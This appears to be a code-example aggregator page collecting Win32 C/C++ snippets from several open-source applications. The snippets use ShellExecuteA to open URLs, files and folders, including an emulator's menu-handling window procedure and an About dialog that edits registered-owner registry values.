	XAP_Win32FrameImpl *pFImp =  (XAP_Win32FrameImpl *) pFrame->getFrameImpl();
	UT_return_val_if_fail(pFImp, false);

	intptr_t res = (intptr_t) ShellExecuteA(pFImp->getTopLevelWindow() /*(HWND)*/,
								 "open", sBrowser.c_str(), sParams.c_str(), NULL, SW_SHOW );

	// TODO: localized error messages
	// added more specific error messages as documented in http://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/system_error_codes.asp
	if (res <= 32)
	{
		UT_String errMsg;
		switch (res)
		{
			case ERROR_FILE_NOT_FOUND:
				{
					errMsg = "Error ("; 
					errMsg += UT_String_sprintf("%d", res);
					errMsg += ") displaying URL: The system cannot find the file specified.\n";
					errMsg += " [ ";  errMsg += sURL;  errMsg += " ] ";
					MessageBoxA(pFImp->getTopLevelWindow(), errMsg.c_str(), "Error displaying URL", MB_OK|MB_ICONEXCLAMATION);
				}
				break;

			case ERROR_PATH_NOT_FOUND:
				{
					errMsg = "Error ("; 
					errMsg += UT_String_sprintf("%d", res);
					errMsg += ") displaying URL: The system cannot find the path specified.\n";
					errMsg += " [ ";  errMsg += sURL;  errMsg += " ] ";
					MessageBoxA(pFImp->getTopLevelWindow(), errMsg.c_str(), "Error displaying URL", MB_OK|MB_ICONEXCLAMATION);
				}
				break;

			case SE_ERR_ACCESSDENIED:
				{
					errMsg = "Error ("; 
					errMsg += UT_String_sprintf("%d", res);
					errMsg += ") displaying URL: Access is denied.\n";
					errMsg += " [ ";  errMsg += sURL;  errMsg += " ] ";
					MessageBoxA(pFImp->getTopLevelWindow(), errMsg.c_str(), "Error displaying URL", MB_OK|MB_ICONEXCLAMATION);
				}
				break;

			default:
				{
					errMsg = "Error ("; 
					errMsg += UT_String_sprintf("%d", res);
					errMsg += ") displaying URL: \n";
					errMsg += " [ ";  errMsg += sURL;  errMsg += " ] ";
					MessageBoxA(pFImp->getTopLevelWindow(), errMsg.c_str(), "Error displaying URL", MB_OK|MB_ICONEXCLAMATION);
				}
				break;
		} /* switch (res) */
	} /* if (res <= 32) */

	return (res>32);
}
Пример #25
0
INT_PTR CALLBACK
AboutDlgProc (HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    HWND hWnd;
    HDC hDC;
    RECT rcClient, rcRect;
    char *owner, *org;

    switch (uMsg)
    {
    case WM_NOTIFY:
        switch(((LPNMHDR)lParam)->code)
        {
        case PSN_APPLY:
            /*save registration info to registry */
            owner = get_text(hDlg, IDC_ABT_OWNER);
            org   = get_text(hDlg, IDC_ABT_ORG);

            set_reg_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion",
                        "RegisteredOwner", owner ? owner : "");
            set_reg_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion",
                        "RegisteredOrganization", org ? org : "");
            set_reg_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion",
                        "RegisteredOwner", owner ? owner : "");
            set_reg_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion",
                        "RegisteredOrganization", org ? org : "");
            apply();

            HeapFree(GetProcessHeap(), 0, owner);
            HeapFree(GetProcessHeap(), 0, org);
            break;

        case NM_CLICK:
        case NM_RETURN:
            if(wParam == IDC_ABT_WEB_LINK)
                ShellExecuteA(NULL, "open", PACKAGE_URL, NULL, NULL, SW_SHOW);
            break;
        }
        break;

    case WM_INITDIALOG:

        hDC = GetDC(hDlg);

        /* read owner and organization info from registry, load it into text box */
        owner = get_reg_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion",
                            "RegisteredOwner", "");
        org =   get_reg_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion",
                            "RegisteredOrganization", "");

        SetDlgItemText(hDlg, IDC_ABT_OWNER, owner);
        SetDlgItemText(hDlg, IDC_ABT_ORG, org);

        SendMessage(GetParent(hDlg), PSM_UNCHANGED, 0, 0);

        HeapFree(GetProcessHeap(), 0, owner);
        HeapFree(GetProcessHeap(), 0, org);

        /* prepare the panel */
        hWnd = GetDlgItem(hDlg, IDC_ABT_PANEL);
        if(hWnd)
        {
            GetClientRect(hDlg, &rcClient);
            GetClientRect(hWnd, &rcRect);
            MoveWindow(hWnd, 0, 0, rcClient.right, rcRect.bottom, FALSE);

            logo = LoadImageW((HINSTANCE)GetWindowLongPtrW(hDlg, GWLP_HINSTANCE),
                MAKEINTRESOURCEW(IDI_LOGO), IMAGE_ICON, 0, 0, LR_SHARED);
        }

        /* prepare the title text */
        hWnd = GetDlgItem(hDlg, IDC_ABT_TITLE_TEXT);
        if(hWnd)
        {
            titleFont = CreateFont(
                -MulDiv(24, GetDeviceCaps(hDC, LOGPIXELSY), 72),
                0, 0, 0, 0, FALSE, 0, 0, 0, 0, 0, 0, 0,
                "Tahoma");
            SendMessage(hWnd, WM_SETFONT, (WPARAM)titleFont, TRUE);
        }

        /* prepare the web link */
        hWnd = GetDlgItem(hDlg, IDC_ABT_WEB_LINK);
        if(hWnd)
            SetWindowTextA(hWnd, "<a href=\"" PACKAGE_URL "\">" PACKAGE_URL "</a>");

        ReleaseDC(hDlg, hDC);

        break;

    case WM_DESTROY:
        if(logo)
        {
            DestroyIcon(logo);
            logo = NULL;
        }

        if(titleFont)
        {
            DeleteObject(titleFont);
            titleFont = NULL;
        }

        break;

    case WM_COMMAND:
        switch(HIWORD(wParam))
        {
        case EN_CHANGE:
            /* enable apply button */
            SendMessage(GetParent(hDlg), PSM_CHANGED, 0, 0);
            break;
        }
        break;

    case WM_DRAWITEM:
        if(wParam == IDC_ABT_PANEL)
        {
            LPDRAWITEMSTRUCT pDIS = (LPDRAWITEMSTRUCT)lParam;
            FillRect(pDIS->hDC, &pDIS->rcItem, (HBRUSH) (COLOR_WINDOW+1));
            DrawIconEx(pDIS->hDC, 0, 0, logo, 0, 0, 0, 0, DI_IMAGE);
            DrawEdge(pDIS->hDC, &pDIS->rcItem, EDGE_SUNKEN, BF_BOTTOM);
        }
        break;

    case WM_CTLCOLORSTATIC:
        switch(GetDlgCtrlID((HWND)lParam))
        {
        case IDC_ABT_TITLE_TEXT:
            /* set the title to a wine color */
            SetTextColor((HDC)wParam, 0x0000007F);
        case IDC_ABT_PANEL_TEXT:
        case IDC_ABT_LICENSE_TEXT:
        case IDC_ABT_WEB_LINK:
            return (INT_PTR)CreateSolidBrush(GetSysColor(COLOR_WINDOW));
        }
        break;
    }

    return FALSE;
}
Пример #26
0
	LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
	{
		int wmId, wmEvent;
		std::string fn;

		switch (message) 
		{
		case WM_CREATE:
			break;

		case WM_MOVE:
			SavePosition();
			ResizeDisplay();
			break;

		case WM_SIZE:
			SavePosition();
			ResizeDisplay();
			break;

		case WM_TIMER:
			// Hack: Take the opportunity to also show/hide the mouse cursor in fullscreen mode.
			switch (wParam)
			{
			case TIMER_CURSORUPDATE:
				CorrectCursor();
				return 0;
			case TIMER_CURSORMOVEUPDATE:
				hideCursor = true;
				KillTimer(hWnd, TIMER_CURSORMOVEUPDATE);
				return 0;
			}
			break;

		// For some reason, need to catch this here rather than in DisplayProc.
		case WM_MOUSEWHEEL:
			{
				int wheelDelta = (short)(wParam >> 16);
				KeyInput key;
				key.deviceId = DEVICE_ID_MOUSE;

				if (wheelDelta < 0) {
					key.keyCode = KEYCODE_EXT_MOUSEWHEEL_DOWN;
					wheelDelta = -wheelDelta;
				} else {
					key.keyCode = KEYCODE_EXT_MOUSEWHEEL_UP;
				}
				// There's no separate keyup event for mousewheel events, let's pass them both together.
				// This also means it really won't work great for key mapping :( Need to build a 1 frame delay or something.
				key.flags = KEY_DOWN | KEY_UP | KEY_HASWHEELDELTA | (wheelDelta << 16);
				NativeKey(key);
				break;
			}

		case WM_COMMAND:
			{
			if (!EmuThread_Ready())
				return DefWindowProc(hWnd, message, wParam, lParam);
			I18NCategory *g = GetI18NCategory("Graphics");

			wmId    = LOWORD(wParam); 
			wmEvent = HIWORD(wParam); 
			// Parse the menu selections:
			switch (wmId)
			{
			case ID_FILE_LOAD:
				BrowseAndBoot("");
				break;

			case ID_FILE_LOAD_MEMSTICK:
				{
					std::string memStickDir, flash0dir;
					GetSysDirectories(memStickDir, flash0dir);
					memStickDir += "PSP\\GAME\\";
					BrowseAndBoot(memStickDir);
				}
				break;

			case ID_FILE_REFRESHGAMELIST:
				break;

			case ID_FILE_MEMSTICK:
				{
					std::string memStickDir, flash0dir;
					GetSysDirectories(memStickDir, flash0dir);
					ShellExecuteA(NULL, "open", memStickDir.c_str(), 0, 0, SW_SHOW);
				}
				break;

			case ID_TOGGLE_PAUSE:
				if (globalUIState == UISTATE_PAUSEMENU)
				{
					NativeMessageReceived("run", "");
					if (disasmWindow[0])
						SendMessage(disasmWindow[0]->GetDlgHandle(), WM_COMMAND, IDC_GO, 0);
				}
				else if (Core_IsStepping()) //It is paused, then continue to run
				{
					if (disasmWindow[0])
						SendMessage(disasmWindow[0]->GetDlgHandle(), WM_COMMAND, IDC_GO, 0);
					else
						Core_EnableStepping(false);
				} else {
					if (disasmWindow[0])
						SendMessage(disasmWindow[0]->GetDlgHandle(), WM_COMMAND, IDC_STOP, 0);
					else
						Core_EnableStepping(true);
				}
				break;

			case ID_EMULATION_STOP:
				if (memoryWindow[0]) {
					SendMessage(memoryWindow[0]->GetDlgHandle(), WM_CLOSE, 0, 0);
				}
				if (disasmWindow[0]) {
					SendMessage(disasmWindow[0]->GetDlgHandle(), WM_CLOSE, 0, 0);
				}
				if (Core_IsStepping()) {
					Core_EnableStepping(false);
				}
				NativeMessageReceived("stop", "");
				SetPlaying(0);
				Update();
				break;

			case ID_EMULATION_RESET:
				if (globalUIState == UISTATE_PAUSEMENU)
					NativeMessageReceived("run", "");
				NativeMessageReceived("reset", "");
				break;

			case ID_EMULATION_SPEEDLIMIT:
				g_Config.bSpeedLimit = !g_Config.bSpeedLimit;
				break;

			case ID_FILE_LOADSTATEFILE:
				if (W32Util::BrowseForFileName(true, hWnd, "Load state",0,"Save States (*.ppst)\0*.ppst\0All files\0*.*\0\0","ppst",fn))
				{
					SetCursor(LoadCursor(0, IDC_WAIT));
					SaveState::Load(fn, SaveStateActionFinished);
				}
				break;

			case ID_FILE_SAVESTATEFILE:
				if (W32Util::BrowseForFileName(false, hWnd, "Save state",0,"Save States (*.ppst)\0*.ppst\0All files\0*.*\0\0","ppst",fn))
				{
					SetCursor(LoadCursor(0, IDC_WAIT));
					SaveState::Save(fn, SaveStateActionFinished);
				}
				break;

			// TODO: Improve UI for multiple slots
			case ID_FILE_SAVESTATE_NEXT_SLOT:
			{
				currentSavestateSlot = (currentSavestateSlot + 1)%5;
				char msg[30];
				sprintf(msg, "Using save state slot %d.", currentSavestateSlot + 1);
				osm.Show(msg);
				break;
			}

			case ID_FILE_QUICKLOADSTATE:
				SetCursor(LoadCursor(0, IDC_WAIT));
				SaveState::LoadSlot(currentSavestateSlot, SaveStateActionFinished);
				break;

			case ID_FILE_QUICKSAVESTATE:
				SetCursor(LoadCursor(0, IDC_WAIT));
				SaveState::SaveSlot(currentSavestateSlot, SaveStateActionFinished);
				break;

			case ID_OPTIONS_SCREEN1X:
				SetZoom(1);
				break;
			case ID_OPTIONS_SCREEN2X:
				SetZoom(2);
				break;
			case ID_OPTIONS_SCREEN3X:
				SetZoom(3);
				break;
			case ID_OPTIONS_SCREEN4X:
				SetZoom(4);
				break;

			case ID_OPTIONS_MIPMAP:
				g_Config.bMipMap = !g_Config.bMipMap;
				break;

			case ID_OPTIONS_VSYNC:
				g_Config.iVSyncInterval = !g_Config.iVSyncInterval;
				break;

			case ID_TEXTURESCALING_OFF:
				setTexScalingLevel(1);
				break;
			case ID_TEXTURESCALING_2X:
				setTexScalingLevel(2);
				break;
			case ID_TEXTURESCALING_3X:
				setTexScalingLevel(3);
				break;
			case ID_TEXTURESCALING_4X:
				setTexScalingLevel(4);
				break;
			case ID_TEXTURESCALING_5X:
				setTexScalingLevel(5);
				break;

			case ID_TEXTURESCALING_XBRZ:
				setTexScalingType(TextureScaler::XBRZ);
				break;
			case ID_TEXTURESCALING_HYBRID:
				setTexScalingType(TextureScaler::HYBRID);
				break;
			case ID_TEXTURESCALING_BICUBIC:
				setTexScalingType(TextureScaler::BICUBIC);
				break;
			case ID_TEXTURESCALING_HYBRID_BICUBIC:
				setTexScalingType(TextureScaler::HYBRID_BICUBIC);
				break;

			case ID_TEXTURESCALING_DEPOSTERIZE:
				g_Config.bTexDeposterize = !g_Config.bTexDeposterize;
				if(gpu) gpu->ClearCacheNextFrame();
				break;

			case ID_OPTIONS_BUFFEREDRENDERING:
				g_Config.bBufferedRendering = !g_Config.bBufferedRendering;
				osm.ShowOnOff(g->T("Buffered Rendering"), g_Config.bBufferedRendering);
				if (gpu)
					gpu->Resized();  // easy way to force a clear...
				break;

			case ID_OPTIONS_READFBOTOMEMORY:
				g_Config.bFramebuffersToMem = !g_Config.bFramebuffersToMem;
				osm.ShowOnOff(g->T("Read Framebuffers To Memory"), g_Config.bFramebuffersToMem);
				if (gpu)
					gpu->Resized();  // easy way to force a clear...
				break;

			case ID_OPTIONS_SHOWDEBUGSTATISTICS:
				g_Config.bShowDebugStats = !g_Config.bShowDebugStats;
				break;

			case ID_OPTIONS_HARDWARETRANSFORM:
				g_Config.bHardwareTransform = !g_Config.bHardwareTransform;
				osm.ShowOnOff(g->T("Hardware Transform"), g_Config.bHardwareTransform);
				break;

			case ID_OPTIONS_STRETCHDISPLAY:
				g_Config.bStretchToDisplay = !g_Config.bStretchToDisplay;
				if (gpu)
					gpu->Resized();  // easy way to force a clear...
				break;

			case ID_OPTIONS_FRAMESKIP:
				g_Config.iFrameSkip = g_Config.iFrameSkip == 0 ? 1 : 0;
				osm.ShowOnOff(g->T("Frame Skipping"), g_Config.iFrameSkip != 0);
				break;

			case ID_FILE_EXIT:
				DestroyWindow(hWnd);
				break;

			case ID_CPU_DYNAREC:
				g_Config.bJit = true;
				osm.ShowOnOff(g->T("Dynarec", "Dynarec (JIT)"), g_Config.bJit);
				break;	

			case ID_CPU_INTERPRETER:
				g_Config.bJit = false;
				break;

			case ID_EMULATION_RUNONLOAD:
				g_Config.bAutoRun = !g_Config.bAutoRun;
				break;

			case ID_DEBUG_DUMPNEXTFRAME:
				if (gpu)
					gpu->DumpNextFrame();
				break;

			case ID_DEBUG_LOADMAPFILE:
				if (W32Util::BrowseForFileName(true, hWnd, "Load .MAP",0,"Maps\0*.map\0All files\0*.*\0\0","map",fn)) {
					symbolMap.LoadSymbolMap(fn.c_str());
//					HLE_PatchFunctions();
					if (disasmWindow[0])
						disasmWindow[0]->NotifyMapLoaded();
					if (memoryWindow[0])
						memoryWindow[0]->NotifyMapLoaded();
				}
				break;
			case ID_DEBUG_SAVEMAPFILE:
				if (W32Util::BrowseForFileName(false, hWnd, "Save .MAP",0,"Maps\0*.map\0All files\0*.*\0\0","map",fn))
					symbolMap.SaveSymbolMap(fn.c_str());
				break;
		
			case ID_DEBUG_RESETSYMBOLTABLE:
				symbolMap.ResetSymbolMap();
				for (int i=0; i<numCPUs; i++)
					if (disasmWindow[i])
						disasmWindow[i]->NotifyMapLoaded();
				for (int i=0; i<numCPUs; i++)
					if (memoryWindow[i])
						memoryWindow[i]->NotifyMapLoaded();
				break;
			case ID_DEBUG_DISASSEMBLY:
				if (disasmWindow[0])
					disasmWindow[0]->Show(true);
				break;
			case ID_DEBUG_MEMORYVIEW:
				if (memoryWindow[0])
					memoryWindow[0]->Show(true);
				break;
			case ID_DEBUG_LOG:
				LogManager::GetInstance()->GetConsoleListener()->Show(LogManager::GetInstance()->GetConsoleListener()->Hidden());
				break;

			case ID_OPTIONS_IGNOREILLEGALREADS:
				g_Config.bIgnoreBadMemAccess = !g_Config.bIgnoreBadMemAccess;
				break;

			case ID_OPTIONS_FULLSCREEN:
				g_Config.bFullScreen = !g_Config.bFullScreen ;
				if(g_bFullScreen) {
					_ViewNormal(hWnd); 
				} else {
					_ViewFullScreen(hWnd);
				}
				break;

			case ID_OPTIONS_VERTEXCACHE:
				g_Config.bVertexCache = !g_Config.bVertexCache;
				break;
			case ID_OPTIONS_SHOWFPS:
				g_Config.iShowFPSCounter = !g_Config.iShowFPSCounter;
				break;
			case ID_OPTIONS_DISPLAYRAWFRAMEBUFFER:
				g_Config.bDisplayFramebuffer = !g_Config.bDisplayFramebuffer;
				break;
			case ID_OPTIONS_FASTMEMORY:
				g_Config.bFastMemory = !g_Config.bFastMemory;
				break;
			case ID_OPTIONS_USEVBO:
				g_Config.bUseVBO = !g_Config.bUseVBO;
				break;
			case ID_OPTIONS_TEXTUREFILTERING_AUTO:
				setTexFiltering(0);
				break;
			case ID_OPTIONS_NEARESTFILTERING:
				setTexFiltering(2) ;
				break;
			case ID_OPTIONS_LINEARFILTERING:
				setTexFiltering(3) ;
				break;
			case ID_OPTIONS_LINEARFILTERING_CG:
				setTexFiltering(4) ;
				break;
			case ID_OPTIONS_TOPMOST:
				g_Config.bTopMost = !g_Config.bTopMost;
				W32Util::MakeTopMost(hWnd, g_Config.bTopMost);
				break;

			case ID_OPTIONS_SIMPLE2XSSAA:
				g_Config.SSAntiAliasing = !g_Config.SSAntiAliasing;
				ResizeDisplay(true);
				break;
			case ID_OPTIONS_CONTROLS:
				MessageBox(hWnd, "Control mapping has been moved to the in-window Settings menu.\n", "Sorry", 0);
				break;

			case ID_EMULATION_SOUND:
				g_Config.bEnableSound = !g_Config.bEnableSound;
				break;

			case ID_HELP_OPENWEBSITE:
				ShellExecute(NULL, "open", "http://www.ppsspp.org/", NULL, NULL, SW_SHOWNORMAL);
				break;

			case ID_HELP_OPENFORUM:
				ShellExecute(NULL, "open", "http://forums.ppsspp.org/", NULL, NULL, SW_SHOWNORMAL);
				break;

			case ID_HELP_ABOUT:
				DialogManager::EnableAll(FALSE);
				DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
				DialogManager::EnableAll(TRUE);
				break;
			case ID_DEBUG_TAKESCREENSHOT:
				g_TakeScreenshot = true;
				break;

			default:
				MessageBox(hwndMain,"Unimplemented","Sorry",0);
				break;
			}
			}
			break;

		case WM_INPUT:
			{
				UINT dwSize;
				GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
				if (!rawInputBuffer) {
					rawInputBuffer = malloc(dwSize);
					rawInputBufferSize = dwSize;
				}
				if (dwSize > rawInputBufferSize) {
					rawInputBuffer = realloc(rawInputBuffer, dwSize);
				}
				GetRawInputData((HRAWINPUT)lParam, RID_INPUT, rawInputBuffer, &dwSize, sizeof(RAWINPUTHEADER));
				RAWINPUT* raw = (RAWINPUT*)rawInputBuffer;

				if (raw->header.dwType == RIM_TYPEKEYBOARD) {
					KeyInput key;
					key.deviceId = DEVICE_ID_KEYBOARD;
					if (raw->data.keyboard.Message == WM_KEYDOWN || raw->data.keyboard.Message == WM_SYSKEYDOWN) {
						key.flags = KEY_DOWN;
						key.keyCode = windowsTransTable[GetTrueVKey(raw->data.keyboard)];
						if (key.keyCode) {
							NativeKey(key);
						}
					} else if (raw->data.keyboard.Message == WM_KEYUP) {
						key.flags = KEY_UP;
						key.keyCode = windowsTransTable[GetTrueVKey(raw->data.keyboard)];
						if (key.keyCode) {
							NativeKey(key);	
						}
					}
				}
			}
			return 0;

		case WM_DROPFILES:
			{
				if (!EmuThread_Ready())
					return DefWindowProc(hWnd, message, wParam, lParam);

				HDROP hdrop = (HDROP)wParam;
				int count = DragQueryFile(hdrop,0xFFFFFFFF,0,0);
				if (count != 1)
				{
					MessageBox(hwndMain,"You can only load one file at a time","Error",MB_ICONINFORMATION);
				}
				else
				{
					TCHAR filename[512];
					DragQueryFile(hdrop,0,filename,512);
					TCHAR *type = filename+_tcslen(filename)-3;

					SendMessage(hWnd, WM_COMMAND, ID_EMULATION_STOP, 0);
					// Ugly, need to wait for the stop message to process in the EmuThread.
					Sleep(20);
					
					MainWindow::SetPlaying(filename);
					MainWindow::Update();

					NativeMessageReceived("boot", filename);
				}
			}
			break;

		case WM_CLOSE:
			/*
			if (g_Config.bConfirmOnQuit && __KernelIsRunning())
				if (IDYES != MessageBox(hwndMain, "A game is in progress. Are you sure you want to exit?",
					"Are you sure?", MB_YESNO | MB_ICONQUESTION))
					return 0;
			//*/
			EmuThread_Stop();

			return DefWindowProc(hWnd,message,wParam,lParam);

		case WM_DESTROY:
			KillTimer(hWnd, TIMER_CURSORUPDATE);
			KillTimer(hWnd, TIMER_CURSORMOVEUPDATE);
			PostQuitMessage(0);
			break;

		case WM_USER+1:
			if (disasmWindow[0])
				SendMessage(disasmWindow[0]->GetDlgHandle(), WM_CLOSE, 0, 0);
			if (memoryWindow[0])
				SendMessage(memoryWindow[0]->GetDlgHandle(), WM_CLOSE, 0, 0);

			disasmWindow[0] = new CDisasm(MainWindow::GetHInstance(), MainWindow::GetHWND(), currentDebugMIPS);
			DialogManager::AddDlg(disasmWindow[0]);
			disasmWindow[0]->Show(g_Config.bShowDebuggerOnLoad);
			if (g_Config.bFullScreen)
				_ViewFullScreen(hWnd);
			memoryWindow[0] = new CMemoryDlg(MainWindow::GetHInstance(), MainWindow::GetHWND(), currentDebugMIPS);
			DialogManager::AddDlg(memoryWindow[0]);
			if (disasmWindow[0])
				disasmWindow[0]->NotifyMapLoaded();
			if (memoryWindow[0])
				memoryWindow[0]->NotifyMapLoaded();

			SetForegroundWindow(hwndMain);
			break;


		case WM_MENUSELECT:
			// Unfortunately, accelerate keys (hotkeys) shares the same enabled/disabled states
			// with corresponding menu items.
			UpdateMenus();
			break;

		// Turn off the screensaver.
		// Note that if there's a screensaver password, this simple method
		// doesn't work on Vista or higher.
		case WM_SYSCOMMAND:
			{
				switch (wParam)
				{
				case SC_SCREENSAVE:  
					return 0;
				case SC_MONITORPOWER:
					return 0;      
				}
				return DefWindowProc(hWnd, message, wParam, lParam);
			}

		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
		}
		return 0;
	}
Пример #27
0
void winopenuri(pdfapp_t *app, char *buf)
{
	ShellExecuteA(hwndframe, "open", buf, 0, 0, SW_SHOWNORMAL);
}
Пример #28
0
Файл: gui.c Проект: hyz/dotfiles
void notepad_open(const char* fn) {
    if (fn)
        ShellExecuteA(GetDesktopWindow(), "open", fn, NULL, NULL, SW_SHOW);
}
Пример #29
0
// --------------------------------------------------
void WSys::executeFile(const char *file)
{
    ShellExecuteA(NULL,"open",file,NULL,NULL,SW_SHOWNORMAL);  
}
Пример #30
0
// ---------------------------------
void WSys::getURL(const char *url)
{
	if (mainWindow)
		if (strnicmp(url,"http://",7) || strnicmp(url,"mailto:",7))
			ShellExecuteA(mainWindow, NULL, url, NULL, NULL, SW_SHOWNORMAL);
}